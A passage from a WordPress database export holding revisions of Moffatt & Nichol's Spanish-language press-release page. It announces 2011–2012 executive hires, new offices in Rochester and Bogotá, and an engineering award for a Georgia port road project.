Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-4','','','2012-08-29 12:54:09','2012-08-29 12:54:09','',1399,'http://moffattnichol.com/spanish/1399-revision-4/',0,'revision','',0),(2606,1,'2012-08-29 13:07:15','2012-08-29 13:07:15','<div class=\"content_faq\">\r\n<h1>press releases</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de 